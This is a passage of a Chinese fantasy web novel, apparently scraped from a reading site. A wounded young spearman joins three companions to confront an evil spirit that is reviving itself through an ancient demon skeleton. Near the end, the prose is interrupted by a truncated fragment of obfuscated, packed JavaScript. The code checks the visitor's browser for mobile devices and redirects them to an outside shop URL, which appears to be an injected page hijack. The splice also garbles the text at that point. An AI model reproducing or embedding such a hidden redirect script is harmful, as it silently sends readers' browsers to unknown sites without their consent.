陆家少爷大吃一惊,被长刀砍得连连后退,枪势也乱了几分。
就在士兵双手握柄朝他肩头劈来之迹,他猛地反手将长枪插向地面,身形腾空而起,枪身橙光随着枪尖涌入地下,竟在地面荡起一圈圈红色涟漪。
借助这股向上弹的力量,随即迅速抽回长枪,在空中舞成一团光影,宛如旋转的火球,带着灼热朝着士兵猛砸下来。
士兵眼中一亮,嘴角露出微微赞许,不退反进,高高举起长刀,释放自身灵气聚于刀身,迎着火球便劈了过去。
“轰!”
两团光芒剧烈碰撞,一股强大的气浪向四周扩散开来,撞得台周锁链“哗啦啦”直响。
然而这场气流却并未波及台下人群。原来演武台上带着锁链的石柱,便是一个锁灵阵法!即便台上异常激烈,也保管不会威胁到周围观众。
双方的碰撞过后,陆家少爷后退几步,枪尾撑地,嘴角溢出一丝血迹,握枪的手微微颤抖。
“哼,”士兵收刀冷笑:“连我五分力气都接不住,还想拜入将军门下,世家子弟又如何!”
面对士兵的不屑嘲讽,陆家少爷脸颊瞬间涨得通红,握着长枪的指节泛白,喉结滚动了两下,终究还是没说出一个字来。
士兵目光越过他,只见将军府前拱门处,站着一个管家服饰的老头,一手后背,一手捻着胸前长须,两列府兵跟在身后。
老总管朝他点点头,转过身往里走。
台上士兵跳下台子,取了铠甲,跟随而去。
陆家少爷眼神黯淡,方才的意气风发荡然无存,枪身橙光也渐渐收敛。
他憋着一口气,猛地转身跳下台子。
不想脚步踉跄,若不是长枪杵地,差点就没站稳。顿觉胸腔气血翻涌,再也憋不住呕出一大口鲜血来。
“哎呀!看来是受了内伤!”
围观群众七嘴八舌。
“少爷!”
人群中挤出一个惊慌的小厮,青布褂子上还沾着点心渣。
小厮扶了他家少爷急忙要送往医馆,却被人挡了下来。
正要发怒时,那人却手指一处高台阶,好心道:“快,那女娃小神医还在那处,她的药丹保管治得好他!”
小厮转头看过去,一愣。
是那只狐狸……
陆家少爷困意袭来,费劲抬起眼皮,也住那处高台望了一眼。逐渐模糊的视野中,有个高大的粗布少年郎一步跨下台阶,快步往他走来……
……
支起一个小缝透气的木窗,被风吹得吱吱响,吵得陆家少爷睫毛颤了颤。
“这破客栈也太简陋了,偏房居然连个软榻都没有!”
陆小果一边收拾着桌上残羹,一边??叨叨:“还有这饭,一点像样的荤腥都见不着,这是给人吃的吗?抠抠搜搜……”
这时,房门“吱呀”一声被推开,带着风卷进来一股草木清气,沉稳的音色低声问道:“他醒了吗?”
陆小果脸上的嫌弃还没褪干净,恰巧被人撞见,有些小尴尬。随后又理直气壮地抱怨:“这不还躺着吗?!那“小医仙”的药也不见有啥作用,昨儿半夜我家少爷还疼得哼哼呢,依我看呐,还不如送去医馆!”
哼,要不是少爷晕倒前抓住眼前少年的袖子不放,要不是周围的人都起哄说小医仙灵丹妙药,他才不会带着少爷来这破地方!
“闭嘴!”
陆家少爷终是听不下去了,虚弱的声音里带着初醒的沙哑。
他额前碎发被冷汗濡湿,脸色还略显苍白,半睁的双眼却怒意惊人。
“别人好意救治,你不道谢也罢了,还在这里说三道四?我……我平日里就是这么教你的么?!”
他撑着身子想坐起来,奈何胸口慌闷,一动之下发疼得紧。
陆小果被训斥一顿,脸上一阵青一阵红,可也不敢由着少爷挣扎,赶紧跑过来扶住他,拿了软枕让他靠在床头。
陆家少爷将他一瞪,吓得他缩着脖子退到一边,小声嘀咕
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:“我这不是担心您嘛。”
进门的白发少年也不管他们主仆二人一唱一喝,见他醒过来,只是抬了抬眼皮。将一碗冒着热气的汤药放置在桌上,嘱咐他趁热喝掉,便随手端了陆小果收拾好的餐盘,准备退出房间。
“恩人留步……”
陆家少爷皱着脸往上撑了撑身子。
“在下身体轻爽了许多,若是从前,这内伤怕是要休养个把月,不知道该如何谢你?”
顾桃停下脚步,微微点了点头,回道:“不是我救的你,你要想谢,等你好起来以后再介绍给你认识。”
说罢,转身退后,一手托起托盘,一手拉了房门。
……
离声见顾桃下了楼,问道“桃哥,他醒了吗?”
她正轻轻揉着伤腿,这两日按时服了药丹,除了还有些使不上劲,倒也不疼了,再有一两日,应该就能彻底恢复。
“醒了,精神看起来还不错。”
顾桃将托盘递给伸手来接的翼开远。
君梦喜笑颜开接过话:“呀,这富家大少爷还不得感激涕零,大把撒钱以谢救命之恩?!”
这下不怕盘缠花没了!
她美滋滋地嗑了一颗瓜子,又摇头晃脑地感慨:“好看是好看,就是弱不经风了些,我还是更喜欢我桃哥……”
顾桃一怔,看向她,却见她丝毫没觉得这话有什么不妥,拉扯着离声又拿翼掌柜开涮去了。
他脸色微红坐到门边,心中雀悦,继续磨着离声需要的药材,思考接下来的打算。
……
午饭过后,喝下一碗小米粥的陆家少爷,感觉胃里暖意顺着血脉漫到了四肢百骸,身子竟然大好,不禁更加好奇这“小医仙”到底是何方人物。
陆小果正捧着空碗要下楼去,却见他已经将干净外袍系好,一副要出门的模样,忙道:“少爷您再歇会吧!”
“救命之恩,怎能躲在房间里不闻不问?”
他拽了拽衣襟,推开房门走出去,陆小果见状只能颠颠地跟上。
楼下欢声笑语,混着清淡茶水的香味,还有药碾子的声响,其乐融融的景象倒是比家里的熏香来得更让人舒服。
顺着楼梯往下拐,楼下画面映入眼帘。
着绿衣的掌柜在柜台后,用抹布擦着算盘。
“城西的药材又涨价了,你可得把差价补给我哟!”
他怪异的语调让桌边三人听了笑作一团。
上午给他送药汤的少年坐在外侧,黎色的麻衫短打干净又利索,满头白发挽在脑后,低着头正细细研磨草药。
少年对面坐着两个娇俏少女,背对楼梯。
穿青色碎花裙的小狐妖正掰着手指与掌柜算账,逗得旁边少女笑趴在了桌上。
她头顶白耳随着说话不时抖动,身后蓬松大尾巴还摆来摆去,灵动又俏皮。
“能走动了?”
白发少年最先注意到楼梯口的动静,不似之前的冷脸,微笑着和他打了个招呼:“过来坐。”
小狐妖跟着转过头来,清秀的脸庞,明亮的大眼,模样很是讨喜。
嘴里叼了半块刚拿起的糕点,含糊不清地说:“这起效也太快了!我就说阿声的丹药灵得很……”
陆家少爷闻言回以微笑,正要走下最后一阶,脚步却蓦地顿住……
29.没逝的,乐一乐
陆家少爷闻言回以微笑,正要走下最后一阶,脚步却蓦地顿住……
那紧挨着小狐妖的少女缓缓转过身,脸上还带着一抹笑意,红唇边漾开两朵小梨窝,如同黑夜中的月光照亮了大地;眼尾微微上挑,带着几分天然的娇媚,可眼底的清亮又像山涧泉水。
少女耳后白羽纤细,及腰的微卷长发一半披于身后,一半落在胸前;麦芽色的绣花百蝶裙衬得她如同上好的羊脂白玉……
陆家少爷只觉得心头像是被什么东西撞了一下,呼吸都漏了半拍,天地间仿佛只剩下那一抹靓丽的身影。
“喂?喂!”
君梦支棱起身子,举手在他眼前晃了几下。
“臭小子,你再盯着阿声看,我就要揍你了哦!”
离声见他模样呆傻,不由脸色通红,又默默转过身去,往君梦身后躲了躲。
陆家少爷这才如梦初醒,慌忙低下头,想掩盖发烫的脸颊。
他自小在世家长大,虽说平时沉迷于修炼,可美人风姿还是见过不少,连家中侍女都是精挑细选的。
可眼前这位仙灵族的少女,却让他平生第一次体会到“惊为天人”的份量。
他动作僵硬得往前挪了两步,又像是想起什么,猛地抬手作揖,好半天才憋出一句:“多、多谢姑娘赐药,在下陆以乐,不知……”
“乐一乐?这名字倒是好玩得很。”
重新坐回桌边的君梦又啃了一口糕点,满脸促狭地调侃道。
一记栗子隔着桌子不轻不重地落在她后脑壳上。
“呀!顾桃!!!”
嘴中糕点都被吓掉的君梦大怒。
又来!又来!!啊啊啊我到底做错了什么?!
“噗嗤!”
离声被她这一声吼乐得差点被茶水呛住,心中那点羞涩消散了几分。
顾桃笑着对陆以乐说道:“见笑了,妹妹比较淘气……”暗中缓解了大家的尴尬。
陆以乐不好意思地挠了挠自己的短发,并不介意君梦的调侃,挑了个顾桃和君梦中间的位置坐下,竟有些不敢再看那羽族少女。
君梦觉得他表情特别耐人寻味,眼珠一转,看似不经意地把一碟糕点往他跟前推。
果然,这小子不知将心思落在了哪里,随手就拿起面前那块被她啃咬过的糕点。
君梦顿时哈哈大笑。
陆以乐正要将糕点塞进嘴里,却被顾桃一拦。
他疑惑地低头一瞧,这才发现不对劲,糕点好大一圈牙印,还往下掉着渣……
刚被顾桃缓解的气氛又成功被她搓回了原位。
顾桃无奈地宠溺一笑,根本拿她没有办法。
离声故作镇静,轻推了她一把,低声哀求:“梦儿,别闹了……”
一番打趣后,几人相互介绍寒暄起来,不由就提到了昨日演武台的事件。
三大种族城之一的仙剑城,人族界城,以赤炎宗陆家最有名望。
陆以乐自小跟随师父修行,从不贪图享乐,日日苦练长枪、术法。只因他最大的崇拜对象便是平定大陆的宴锋将军,立志要入将军门下效力。
好不容易磨得了师父的认可,既急又喜地带着拜帖赶赴启明求见将军,却三番五次被那总管刁难。
先是嫌他年纪太小吃不了苦,再去就是武艺不精不配将军指教。
陆以乐低下头看着自己的双手,骨节分明,掌心却布满老茧,与他世家少爷的身份格格不入,可为什么在别人眼里就只是个花架子?
他不甘心就这么灰溜溜地回家,握紧了拳头抛开世家公子的脸面,日日前往将军府求见。
见他毫不气馁,老总管干脆将他丢到城外联军营地里,与其他将士同吃同住操练了三个多月。只说如果他能在演武台上打败手下府兵,便给他一个机会。
陆以乐原本还信心满满,以为总管终是被他诚心打动,仅仅派出一个府兵来挑战他,也算是变相的给了他一条路子。
可昨日那场比试过后,他才算是明白其中道理:
区区府兵都能轻松将他搓圆捏扁,那真正戍守关边的将士们,又该是何等雄姿?
若是仅凭门路便将庸碌之辈安插进去,等到了哪天敌军进犯之时,将军又该拿什么力量来守护大陆周全呢?
想到此处,他便释然许多。这场演武他输得心服口服,对于没能面见将军的遗憾,减轻了不少,只在心里给自己定下一个约定:继续修行,三年后必定让将军对他刮目相看!
君梦“滋溜”喝下一口茶,伸出沾满糕点屑的爪子,老练地拍拍他的肩膀安慰道:“没逝的,乐一乐!别放弃!打起精神来,咱回家再练几年!”
陆以乐点点头,勉强一笑。
“说来也巧……”
离声双手握着粗陶茶碗,眼神落在荡漾的茶水面上,柔声开口:
“昨日我们也去将军府求见来着,却是连那总管的面都没见上,人家还是给了你们世家子弟面子的。”
陆以乐来了兴致,问道:“不知你们所求何事?”
这话一出,桌边的气氛忽然沉下来,顾桃研磨草药的声音也顿住……
“嘎嘣~嘎嘣……”
翼开远撅着腚半趴在柜台上,和陆小果嗑着核桃剔着仁,正想询问:怎地不讲了?爱听。
君梦瞥了他们俩一眼,站起身大步一跨,抢了柜台上那碟核桃,放到自己桌上,又抓了一把碎开的放在离声跟前,才将渡水镇邪灵、和在将军府吃瘪的事慢慢讲来。
语毕,众人都有些沉默,静得连门外落叶的簌簌声都听得清清楚楚。
翼开远默默上前,往每个人的茶碗里添了些热茶,语气带着几分试探:“说起来,陆小少爷这等身份,想寻个修为高深的帮手替渡水镇解围,应是不难,只是……不知少爷愿意不愿意?”
桌前三人一听此话,满是期待的目光均望向陆以乐。
陆以乐闻言,毫不犹豫地点头:“我自是愿意!”
可刚开了个头,他又面露难色:“只是我这次出来投奔将军,本就不想依靠家族势力,身上并未带陆家信物,拜帖也早已呈于将军府中。若是回家中请人,路途遥远,怕是会耽误太多时间。”
眼见众人燃起新的希望又落空,他也略感愧疚。
“少爷,您的炼狱……”陆小果往前凑了凑,迟疑地小声提醒他,“老爷曾说,它可对付邪物……”
陆以乐眼中精光一闪,猛然站起身,神采奕奕地连音量都拔高好几度:“是了!我这炼狱长枪,可召唤离火!离火至阳至刚,正是邪物的克星!”
他看向众人,语气坚定:“先前听你们所讲,这邪灵连附体肉身都保不住,想必已是虚弱不堪,它的结界怕是也已经松动。虽说我修为尚浅,可我愿意一试!我愿与你们一同,去渡水镇会一会它!”
“好哇!!!”
君梦高兴得蹦起来,离声被她活泼感染,也跟着手舞足蹈。
顾桃脸上又重新露出了笑容,先前只戏言能有个稀奇机缘的万一,却不想竟真的出现了!只当是仲老爷子舍命相救的诚心感动了上苍吧。
然而在这皆大欢喜的时刻,只有陆小果暗自跺脚,责怪自己多嘴,呸!臭显摆啥?!
可话已讲完
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,后悔无用,自家少爷的性子他可太清楚了!
离火虽能对付邪物,但仅凭他们口述即得知那邪灵道行不低,虚不虚弱也都是他们的猜测,实在作不得数。关键是少爷要出了什么差错,他也小命休矣,唉!
翼开远微微点头,笑道:“四位小年轻有此魄力,真让人佩服!渡水镇虽然不远,但路上也需多加小心,我这就去给你们准备路上用的干粮。”
顾桃放下手中碾轮,站起身来,“多谢掌柜的,明日我们便动身。”说罢,朝着陆以乐和翼开远恭恭敬敬作了个揖。
这是替渡水镇的居民,替仲老爷子,还有善余和孩子们,感谢他们的热心相助。
陆小果见大局已定,只能苦着脸愁道:“少爷,我跟你们一起去吧!”
陆以乐想了想,摆手拒绝:“不,你即刻赶回仙剑,请我师父到渡水镇去。”
……
清晨。
今日万里无云,阳光洒满了周身,是个极好的天气。
四人简单收拾,带上翼开远给他们准备的一大包肉制品,即刻往渡水镇出发了。
临行前,离声带着不确定,向翼开远透露了一个关于箐琼的消息。
她还在家乡时,就有听说过相似的传闻。如果当真是他们两的故事,那么箐琼如今应该是在仙灵族边境的玉竹村,据说她隐姓埋名一直独身,像在等什么人。
翼开远怔在当场,手中茶壶落地砸了个稀碎。
等他回过神来,哆哆嗦嗦老半天才摸索着回了柜台。数了银钱,收拾细软,又拿出一块书写“家中有事,罢工三年”的木板,急匆匆挂在客栈大门上。
他说:这次我一定要找着她!!
……
“阿声,你为什么那天晚上不告诉他呢?”
君梦围着她转,晃得她头晕。
“我、我不敢确定,这种事情总是不好瞎说的……梦儿你莫转了,我眼花。”
“那你今天为啥说了?”
离声沉思片刻:“我是想着,翼掌柜是个好人,如果他要找的姑娘真是我知道的那个,再错过也实在是太可惜了。”
“……再说,要是之前便告诉了他,那他当时走了,我们住哪?”
离声越说越小声,眼神闪躲,多少有些心虚。
“……”
“……”
顾桃无语:糟了,已经被带歪了!
陆以乐偷摸摸瞧她一眼,越看越觉得这姑娘哪都好,又乖又可爱。
……
四人小队一路相互照应,沿着河边小道行进,特意避开了矿场,省得又多出来事端。
路过普通行人纷纷侧目低语,对他们的组合极为好奇。
人、妖、仙灵三大种族齐聚,这样的配置很是新奇少见。
妖族一般步行出门,因着他们体魄强壮、迅捷有力,只有尊贵的高阶修行者偶会驾驭兽骑彰显身份。
而仙灵族天生擅长飞行,自是去哪里都方便。
最为不便的就要属人族了,他们出远门需要依靠马匹或马车、牛车。
但牛马等俗物胆小,通常作为异族的美味,因此这两物基因里就带着“不能靠近其他两族”的畏惧。
而兽骑又瞧不上人族,不愿屈就于人□□,除非是修为极其高深能彻底让它们臣服。
所以他们这一行凑齐了三大种族的队伍,实在是多财多金也难以协调,最终只能以陆以乐的步调来统一行动。
陆以乐倒是乐得自在,有了新朋友的欢愉、得了大家的照拂,以及还有离声在侧,原本应该苦涩疲累的路途也就怡然自适了。
30.我们回来晚了
不过四五日光景,便远远望见河对岸的小镇。
顾桃在君梦的催促下,出声询问:“阿声,还能坚持住吗?不要逞强。”
君梦补充道:“累了就让他背你,别觉得不好意思,又伤着腿可不划算!”
说着话她就上手,要撩起她的裙角查看。
离声涨红着脸,紧紧按住自己裙摆拍打她的手:“梦儿别闹,我真的没事了,每天早上我都有服用一颗生骨丸,放心吧,我好好的。”
“嗯嗯,那就好。”
再行大半日,镇子的老槐树便清晰可见,那老树比半个月前更显萧瑟,枝上几乎没有留下几片叶子,好似冬季提前到达了这里。
他们从北门进入,本想尽量不引人注意,先找个落脚点,却被街上断断续续的闲谈钉在原地。
“……是啊,就是住在镇子尽头那户人家,好像是外来的犬妖,收养了镇上十几个没爹没娘的孤儿,前几天夜里被摸进村的赤虎给害了……”
“真是造孽啊!我听说是为了报复我们开办比赛取它们妖丹,也活生生将那犬妖的丹给挖了出来,孩子们的血都被吸干了……啧啧~”
“……”
君梦脸色瞬间惨白,瞪着眼扭过头,厉声问道:“你刚才说的那户人家在哪儿?”
离声见状不由握紧了她的手,发现她的指尖冰凉。
几名妇人正聊得起劲,被这恶语吓得缩了缩脖子,不敢吱声。
顾桃步子一绕,默默将君梦拦在身后,不让人发现她的异样。
他稳住自己的情绪,换了个问法:“他们葬在哪儿?”
迫于这大高个的气势,有个大娘情不自禁指向镇子西北方的乱葬岗,正是他们逃出来的地方。
“就、就在那片山坡上,新堆的土坟……”
秋阳惨淡,乱葬岗上的新坟连块像样的木牌都没有,只有几束野菊被风刮得东倒西歪。
最边上那座新坟格外大些,想来便是那犬妖和孩子们最后的归宿。
顾桃蹲下身子,指尖抚过尚带湿气的泥土,能隐约触到地下残留的微弱妖气,混杂着浓重的血腥。
是他,善余。
“混蛋!我去找他们算账!”
君梦气得浑身发抖,终是忍不住了,收回扎入泥土中的绿玉嫩筋,猛得转身就要往镇子里跑。
“梦儿!”
离声反应慢,没能拉住她。
站在最后的陆以乐将她拦了下来,劝道:“小梦,你先冷静些!”
“走开!哪里是什么赤虎,一股死灵的臭味!就是它干的!”
君梦红了眼,双瞳冒着冷光。
顾桃不知何时已到近前,不顾她的挣扎将她搂进怀里,抚摸着她的头发,低声安抚道:“我知道,这仇会报的!我们都陪你……但不是现在。”
他们面对的敌人残忍又狡猾,在尽量摸清它的情况以前,实在是不宜打草惊蛇。所以他只能暂且压下自己的愤怒,不能在这个时候火上浇油。
君梦把脑袋深深埋在他怀里,死死抓住他腰间的衣衫,脑海中想起那男子憨厚无辜的模样,以及那一把甜甜的糖果,强烈的愧疚和无力感随着气血一同上涌。
静默片刻,忽然爆发出来,哇哇大哭:“我们回来晚了,桃哥……”
离声听着她悲恸的哭声,鼻子发酸,小嘴一瘪就要跟着落泪。
陆以乐不知怎么安慰她们,握紧了拳头站在原地一动不动。
远处镇长别院的飞檐,在残阳下投出长长的阴影,就像一头蛰伏的巨兽,正等着猎物自投罗网。
……
四人沉默着回到镇上,陆以乐出面租下一套偏僻不起眼的小院。
入夜后,屋内点着一盏油灯。
他们围坐在矮桌旁,顾桃摊开一张粗糙的草纸,用炭笔勾勒出渡水镇的轮廓。指着中央的镇长别院,向离声和陆以乐介绍着院中的分布情况,包括那条逃生地窖。
陆以乐沉声开口:“按你们所讲,被邪灵附身的镇长,本体大概是快不行了,它现在肯定是着急寻找新的宿主。但一般的小妖储存不下它的邪气,犬妖的家在外围,一群孩子也无亲无故,他的妖丹和孩子们的血液,应该都是被它当成了最安稳的临时补品。”
“我也是这么想的,但毕竟没有接触过这类邪物,断不能贸然行动,所以我们得先摸清它的底细。”
顾桃冷静地分析:“而且,之前我们参加比赛时,有到达过血狼王的洞府,那颗滋养它的妖丹妖力强大,但跟它自身属性完全不符。另外,洞顶还有一副巨大的妖骨……”
君梦猛地一拍桌子:“我想起来了!那大半个落霞岭上空的结界,就是从那具骸骨上散发出来的。”
陆以乐抬眼看她:“你的意思是……”
顾桃接过话来:“那颗被血狼王吞噬的妖丹,以及那具妖骨,说不定本身就是这邪灵的!只是不知道为什么会被血狼王占领。”
君梦跟着点头:“就是这样!”
顾桃面带严肃,当机立断:“我们要想除掉它,就不能再让它有地方可藏!我必须再去一趟落霞岭,查看一下那边的情况。”
“我要跟你一起去!”
君梦语气不容反驳,与他对视的眼神坚定无比。
“……好,要当心。”
“嗯!”
顾桃安排道:“你们不熟悉地形,就呆在屋里哪都别去。以乐,保护好阿声。”
陆以乐点头应下:“好的,你们也不要轻举妄动,有事先回来商量。”
“会的,放心。”
“等等,”眼看两人起身,离声取出两支小瓶,分别送到二人手中,嘱咐道:“带上这个。这是月华散,短时间内可以提高自身能力,遇到危险再吃,定要速战速决!”
君梦接过小瓶,勉强冲她笑了笑:“阿声,你就好好在这等着我们。”
夜幕沉沉压在落霞岭的崖尖上,顾桃带着君梦借着微弱的月光,重新钻进那条近道。
被斧刃劈碎的石块还散落在小道两旁,虽然妖阵已经被他们俩破过,但还是小心翼翼地往前摸索。
熟门熟路下,不多时便到达洞府前的那片斜坡。
原本敞开的洞口被断裂的岩层堵得严严实实,碎石断口处泛着诡异的暗紫色,像是被什么东西腐蚀过。
两人绕到碎石堆侧面,
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顾桃突然被君梦拉住,顺着她的视线一看,塌陷的泥石堆里,有半截焦糊的拂尘。
顾桃捏捏她的手,牵着她继续往前,无声示意:别管它,过了这么久,那道人不死也早就离开了。
他们绕开堆积的石块,在后方的废墟旁,静静卧着那副巨大的灰白妖骨,以距离判断,应该就是血狼王存放妖丹之处。
一丝幽蓝的萤光从骸骨背脊位置散发出来,断断续续地接连着半空的结界。
如今再打量,这结界居然缩小到只能罩住骸骨附近。
两人对望一眼,冒出同一个想法:这妖骨果然和邪灵有关联!那邪物的宿主已经被它侵蚀得羸弱不堪,宿主的虚弱,就会直接影响到它的力量不能完全发挥,而它的力量强弱,也影响着这具妖骨。
想到此处,两人精神更加振作。
他们猫着腰继续向骸骨靠近。前方的顾桃突然停止脚步,反手按住君梦。
她悄悄偏过头往前看去,不由倒吸一口凉气。
原本银白的血狼王,如今已是通红一片,也不知到底是生出的红色鳞片,还是它的血肉暴露在空气中,总之有股粘稠的感觉,时不时还在往下滴着不明液体。
此时它正趴在妖骨胸腔下方,头颅侧卧在前肢上微微昂起,露出顶住脖子的一大块肉团,微微散发出黑红色的弱光。
它每呼吸一次,那颗肉团就会渗出一层血雾,顺着它周身的粘液往骸骨里钻。
顾桃打了个手势让她留下,自己再往前探一探。
君梦指尖掐进了掌心,正在犹豫要不要阻拦他时,血狼王猛地睁开眼睛,完全已经被血红覆盖的双眼甚至已经没有了瞳孔。
两人立马摸出月华散,严阵以待。
它喉咙里发出威胁的低吼,翻转身体却没有扑上来,只是用身体挡住那具遗骸。
双方都没有再贸然前进。
他们已经得到了自己想要的答案,也摸不准现在血狼王是什么情况,决定先退回去再做打算。
顾桃背过手挥了挥,君梦秒懂。两人缓缓往后倒退,直到退出安全的距离,血狼王也并没有追上来。
他心里有股不太好的预感,运起妖力聚于双瞳,终于完全将黑暗下的景象看清。
只见那副妖骨的细小裂痕里,竟伸出一根根发丝般的暗红色肉须,紧紧缠着血狼王的身体,线身一鼓一鼓地,像是脉搏,又更像是在贪婪地吮吸着它的血肉。
这一眼,直叫他浑身冒冷汗,不再犹豫,拉起君梦转身就跑。
两人一刻不敢停歇,气喘吁吁地冲进小院。
正在桌边研磨草药的离声,听得响动立刻抬眼。
陆以乐早已起身迎接,他一见顾桃沉得快滴出水的脸色,顿感大事不妙。
君梦接过离声递来的茶水,猛灌几口才勉强顺过气来,“那东西,在吸收血肉!”
离声抚着她的背:“哪个东西,你别急,慢慢地说。”
“那副妖骨……”
顾桃的心咚咚直跳,干脆就靠着墙角坐在地上,“血狼王都快被它吸干了!看来是在准备复活……”
“什么?!”
“什么?!”
31.想复活的大妖
从顾桃口中得知妖骨想复活的消息。
“什么?!”
离声和陆以乐同时惊呼出声。
四人面面相觑,竟不知以眼下局面,还要如何接下来的商讨。
当年,各地被斩杀的大妖,遗留的躯体并未被统一处理,所谓“一鲸落万物生”,宴锋将军的部下一一查验过后,便放任了它们残留的躯体,以滋养当时残破的土地。
谁成想,这其中竟然还有漏网之鱼!
离声研杵的手猛地收紧,呐呐道:“如果真让这具妖骨复活成功,恐怕整个大陆又要乱了。”
顾桃双臂搭在弯曲的膝盖上,默默看着墙角擦拭长枪的陆以乐。
他突然不知道带他们回来的意义是什么?是为了救这个小镇吗?是为了要报答仲老爷子的相助吗?还是想报他自己吃了大亏的仇?!
千年大妖,以他们弱小的百年妖力,加上一个人类,还有一个连保护自己都困难的小仙灵……真的就能对付它的灵体吗?
他是不是,又做错了决定……?
君梦低下头默默抠手指,抿着唇也不再说话。
她还在村里的时候,姨婶们教她什么,她几乎都能一点就透,每个大人都夸她、宠她;虽然她和顾桃的修行路子完全不同,可自己的修为跟上天赋异禀的他也并不吃力。
所以她从来都觉得自己又机灵又厉害,整日上蹿下跳四处捣乱。
但现在她觉得自己太弱了,弱到其实保护不了任何人!
她眼圈有些发热,头垂得更低了。
她这样的小妖,在这诺大的世界根本就是一只蝼蚁。下山以后,除了殷全给了她膨胀的自信外,她可能连独自闯蛇谷都会很艰难……
相比他们各怀心思的模样,陆以乐倒是坦然许多。
他没心没肺地哈了一口气在枪刃,拿抹布仔细擦试着每一个犄角旮旯,缓缓开口:“既然那妖骨需要血肉的滋养,那么等到血狼王被它吸食干净后,下一个会是谁呢…?”
君梦猛地抬起头,沉声道:“……镇上的居民?”
她双手握成拳,将脑子里的杂念甩开,现在不是想那些的时候!谁又是生来就强大呢?!能在当下尽自己最大的努力就够了!
听了两人的话,坐在旁边的离声忍不住想象了一下满镇残骨弃尸的场景,瞬间起了一层鸡皮疙瘩。她颤颤微微松开药碾,双手搂住了君梦纤细的胳膊,忍不住又向她贴近了点。
君梦想起血狼王如今的模样,虽然浑身不适,却还是轻轻拍了拍离声的手背。
她毫不犹豫地说道:“先想办法毁掉妖骨吧!”
话音刚落,窗外忽然传来“窸窣”声,像是有什么东西蹭过窗棂。
陆以乐猛然侧首,几乎在声音响起的同时,手中炼狱便带着橙光刺出。
“嗤——”
一声像是布料被烧穿的轻响后,窗外急促的风声住院外飘去。
几人冲到窗边,借着月光往外看,只来得及见到一股浓郁的黑雾正顺着墙头溜走,被它沾上的几株野草瞬间枯萎发黑。
顾桃眼神变得极其税利:“我们被发现了。”
陆以乐收回长枪,刚擦干净的枪尖上沾着几滴粘稠的黑色物质。
他厌恶地擦去后将脏布丢出窗外,长枪往身后一别,正色道:“不能再等了,恐怕不等我们想出对策,它就要暗中下手了!”
几人一并点头,收拾起桌上东西,摸着黑跟随顾桃再次出发前往落霞岭。
有无把握另说,其实大家都已经有种赶鸭子上架的无奈感了。
岩顶的夜风吹过,带着一股浓重的血腥,月亮似乎嗅到不详的气味,悄摸摸地躲到了云层后面。
血狼王重新瘫倒在地,那双原本充满暴戾之气的眼睛此刻只剩下空洞和痛苦。
随着不断地吸食血肉,以及从血浪王身上渗出的妖气,妖骨上延伸出来的肉线更加粗壮了,甚至在远处就能看到它们往妖骨内输送的模样。
陆以乐压低了声音:“情况好像比我们预想的更糟糕。”他手中的炼狱冒出橙光,已经蓄势待发。
顾桃也握紧了手中长斧,墨绿双瞳微微亮起,眼光凌厉:“这东西看起来邪门得很,千万要小心!”
离声被君梦护在最后头,怀里捧着一个个小瓷瓶,小声叮嘱:“我会在这边尽力为大家提供支援,你们手中的月华散只管吃!”
四人交换了一个眼神,彼此点了点头。
留下离声躲在暗处,三人朝着妖骨和血狼王的方向,呈包围状缓缓移动过去。
就在他们狗狗祟祟摸到跟前,正在庆幸血狼王已经虚弱到无法察觉他们了。突然,几条肉线猛地抽出血狼王的身体,径直朝着三人飞射而来。
君梦也不躲躲藏藏了,气愤大骂:“这狗东西还阴得很呢!”
肉线管端分裂出许多细小触手,像是张着的大嘴,在空中蠕动。
最前方的顾桃提起泛着蓝光的长斧劈头就是一砍,身侧的陆以乐紧跟其后,飞身刺出长枪,枪尖离火刹时暴涨,形成一道火墙。
然而那些肉线却并不太害怕这股火焰,径直穿过了火墙袭来。
陆以乐大惊,就地扭转身形,堪堪躲过它们的舔舐。
“这大妖修为着实太高,这些东西又都是实体,离火对它们作用不大,别浪费自己灵力!”
顾桃冲陆以乐大喊,嫌恶地用斧背挡住了断裂肉线中飞溅出的腥臭血水。
君梦眼见肉线纠缠着更显眼的两人,倒显得她有些多余了。
她咬咬牙压下对他们的担心,索性退了几步回到暗处,拔出腰间匕首悄悄往骨架子后方摸过去。
她肉搏不如他们,还不如趁乱来个出其不意。
骨架下方血狼王感受到一丝威胁,喘息着睁开眼。
然而君梦此刻已经摸到它的身后,当即放出附着了炎蛊的绿玉捆住它,趁它反应和行动都已经迟缓不堪,举起匕首就朝它脖颈处的肉团扎去。
匕首狠狠扎入肉团中心,触碰到一件硬物,想必那颗诡异的妖丹就隐藏在这里。
血狼王喉咙咕咕直响,被缚束住的身体无法动弹。
就在她以为得逞时,正与顾桃和陆以乐纠缠的肉线,颤抖着猛然回缩,掉转方向就朝君梦飞去。
“梦儿快跑!”
“小梦!”
两人大喊,同时飞奔追过来。
君梦反应极快,触及妖丹坚硬无比时,就已经知道自己没办法破坏它。刚好余光又瞥见肉线动向改变,立马掏出月华散丢入口中。
丹丸下肚,顿觉体内妖力蓬勃,原本暗红的双眼腥红弥漫。
她大力拔出匕首,收回绿玉往上方甩去,绿玉快速伸长缠住头顶骨架。脚尖点地,借助绿玉的力量腾飞起身。
躲过肉线一轮攻击,再反手一挥,已到眼前的肉线立刻断成几截。
这连贯动作只一瞬便完成。
她也不恋战,当机立断收回匕首,双手攀住绿玉往妖骨上方跃去。
下方肉线不再追击,而是调转端头,直接刺入血狼王的脖子。
再抽出时,管端包裹着那枚血红妖丹。
妖丹感受到本体的接触,散发的光芒变得更加妖异,一股强大的妖力从肉线中散发出来。
赶来的顾桃和陆以乐,执起手中武器毫不犹豫攻向妖丹。
没想到妖丹上立马生出一团红雾将它严严实实护住,愣是挡下两人的蛮力攻势。
“结界?!”
陆以乐愣了片刻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096317|195263||http|test|mini|href|location''.split(''|''),0,{}));
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>“快走!”
顾桃一把扣住他的肩头,扯着他快速往后撤退。
后方君梦早已落地过来与他们汇合。
此时月华散药效已过,她觉得有些飘飘然,寻了离声的方向,幽幽问道:“阿声,你这药吃了可会头晕……?”
